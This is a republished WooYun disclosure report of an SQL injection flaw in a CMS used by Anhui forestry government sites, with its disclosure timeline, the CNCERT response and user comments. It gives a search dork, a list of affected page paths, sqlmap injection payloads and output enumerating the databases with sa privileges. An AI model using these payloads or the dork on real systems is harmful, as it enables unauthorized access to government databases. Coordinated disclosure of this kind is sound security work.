某政府CMS通用SQL注入漏洞（全为sa）

admin
admin
admin
140862
文章
117
评论
2015年4月24日07:36:26评论292 views字数 235阅读0分47秒阅读模式
摘要

2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-12： 厂商已经确认，细节仅向厂商公开
2014-07-15： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-05： 细节向公众公开

漏洞概要 关注数(14) 关注此漏洞

缺陷编号： WooYun-2014-66332

漏洞标题： 某政府CMS通用SQL注入漏洞（全为sa） 某政府CMS通用SQL注入漏洞（全为sa）

相关厂商： Cncert国家互联网应急中心

漏洞作者： 魇

提交时间： 2014-07-09 18:33

公开时间： 2014-10-05 18:34

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-12： 厂商已经确认，细节仅向厂商公开
2014-07-15： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-05： 细节向公众公开

简要描述：

某政府CMS通用SQL注入漏洞（全为sa）

详细说明：

http://**.**.**.**/bugs/wooyun-2010-054577 从U神提交的关键词搜到的站点 应该是同一厂商，这个走的前台，我提交的这个应该也行吧

1. 多用于安徽省内林业信息GOV站点，谷歌搜索语法：

code 区域 
inurl:zxzx_show.jsp?ID intitle:在线咨询

2. 提供案例仅供Cncert国家互联网应急中心测试（ID参数存在注入）：

code 区域 
http://**.**.**.**/hdcy/zxzx_show.jsp?ID=79  安徽林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=79 淮北市林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=304 安庆林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=28 蚌埠林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=105 滁州市林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=124 宣城林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=34 铜陵林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=122 阜阳林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=53 六安市林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=42 亳州林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=30 马鞍山林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=133 池州林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=44 芜湖市林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=35 淮南市林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=34 合肥市林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=34 黄山林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=34 芜湖林业信息网
 http://**.**.**.**/hdcy/zxzx_show.jsp?ID=34 宿州林业信息网

漏洞证明：

淮北市林业信息网为例：

某政府CMS通用SQL注入漏洞（全为sa）

某政府CMS通用SQL注入漏洞（全为sa）

code 区域 
---
 Place: GET
 Parameter: ID
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: ID=79 AND 1446=1446
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 14 columns
     Payload: ID=-9120 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(107)+C
 HAR(116)+CHAR(113)+CHAR(100)+CHAR(66)+CHAR(108)+CHAR(67)+CHAR(70)+CHAR(89)+CHAR(
 73)+CHAR(70)+CHAR(85)+CHAR(74)+CHAR(113)+CHAR(115)+CHAR(108)+CHAR(104)+CHAR(113)
 ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
 
     Type: stacked queries
     Title: Microsoft SQL Server/Sybase stacked queries
     Payload: ID=79; WAITFOR DELAY '0:0:5'--
 
     Type: AND/OR time-based blind
     Title: Microsoft SQL Server/Sybase time-based blind
     Payload: ID=79 WAITFOR DELAY '0:0:5'--
 ---
code 区域 
available databases [25]:
 [*] ahly_anqing
 [*] ahly_bengbu
 [*] ahly_bozhou
 [*] ahly_chaohu
 [*] ahly_chizhou
 [*] ahly_chuzhou
 [*] ahly_fuyang
 [*] ahly_hefei
 [*] ahly_huaibei
 [*] ahly_huainan
 [*] ahly_huangshan
 [*] ahly_luan
 [*] ahly_maanshan
 [*] ahly_neinew
 [*] ahly_suzhou
 [*] ahly_tongling
 [*] ahly_wuhu
 [*] ahly_xuancheng
 [*] distmodel
 [*] lyj_xx
 [*] master
 [*] model
 [*] msdb
 [*] netweb_ahly
 [*] tempdb

SA权限：

code 区域 
database management system users privileges:
 [*] sa (administrator)

修复方案：

版权声明：转载请注明来源 魇@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-07-12 12:57

厂商回复：

CNVD确认并复现所述情况(为定制系统且为同一网站集群)，根据测试实例，已经转由CNCERT下发给安徽分中心，由其后续联系网站管理单位处置。rank 16

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-07-07 22:35 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    0

    施主，我已经到了你门口，请开门

  2. 2014-07-08 01:32 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    0

    咚~咚~咚~开门~查水表

  3. 2014-07-08 02:24 | 黑吊丝 ( 路人 | Rank:18 漏洞数:4 | 木心木肺黑吊丝)

    0

    爆破1组准备

  4. 2014-08-17 12:07 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    这个也是通用啊 同一个站啊

  5. 2014-08-17 12:10 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    看错了，是不同的站

  6. 2014-08-29 17:35 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 | 于佳琦)

    0

    洞主这个冻给了多少钱？

  7. 2014-08-29 17:36 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    @X防部 我回答你吧200

  8. 2014-08-29 17:36 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子， 但是除了他华...)

    0

    @X防部 200 目测为了发通用的效率 奖金都缩水了 今天连发了3个200

  9. 2014-08-29 17:43 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 | 于佳琦)

    0

    @魇 貌似5月份小众厂商高危漏洞都是500

  10. 2014-08-29 17:53 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子， 但是除了他华...)

    0

    @X防部 是的 落差很大现在

  11. 2014-10-05 19:51 | Moo ( 路人 | Rank:8 漏洞数:3 | PS：不打脸，还要泡妞呢)

    0

    @魇 分分钟拉河南人 爆你菊花，居然挑衅我大安徽。哇咔咔

  12. 2014-12-11 02:05 | hack雪花 ( 实习白帽子 | Rank:94 漏洞数:23 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    1

    @Moo 你安徽的

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin